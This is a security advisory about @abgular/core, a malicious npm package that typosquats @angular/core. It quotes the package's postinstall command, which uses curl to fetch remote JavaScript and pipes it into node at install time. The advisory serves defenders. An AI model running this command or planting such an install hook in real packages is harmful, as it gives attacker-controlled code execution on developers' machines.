@abgular/core

GHSA-58jj-ccq3-fxq3

Malicious code in @abgular/core (npm)

Details

**Severity:** Critical

**Affected versions:** `= 22.2.1`

## Source: amazon-inspector (4c4c8470613dc3a49e249f1a9f91bc756bb9b4323c78268b35816f07e78a0a9b)
Package name `@abgular/core` is a single-character transposition of `@angular/core` and copies that package's description, author, and repository metadata. The package.json declares a `postinstall` script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching an unpinned, unverified JavaScript payload from a third-party code-hosting service via web.archive.org and piping it directly into `node` during `npm install`. The fetched code executes on the installer's machine with the installer's privileges; its contents are mutable and attacker-controlled. The deceptive package identity ensures developers who mistype `@angular/core` trigger this remote-code execution.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/@abgular/core/MAL-2026-17532.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e639495/osv/malicious/npm/@abgular/core/MAL-2026-17532.json
- https://www.npmjs.com/package/@abgular/core/v/22.2.1
- https://github.com/advisories/GHSA-58jj-ccq3-fxq3

Compromised versions (1)

= 22.2.1

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.